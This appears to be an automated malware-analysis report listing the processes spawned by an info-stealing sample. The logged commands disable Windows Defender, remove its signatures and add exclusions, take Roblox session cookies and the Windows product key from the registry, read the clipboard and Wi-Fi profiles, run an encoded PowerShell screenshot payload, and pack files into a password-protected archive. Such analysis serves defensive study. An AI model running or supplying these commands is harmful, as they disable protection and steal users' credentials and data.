Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior

Removes signatures from Windows Defender

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Users\user\Desktop\9g9LZNE4bH.exe "C:\Users\user\Desktop\9g9LZNE4bH.exe"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\BPWmX.zip" *"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\9g9LZNE4bH.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF89E.tmp" "c:\Users\user\AppData\Local\Temp\3lfchnc2\CSC30375EB9C2504D3B856F38EEC7AAE920.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\BPWmX.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
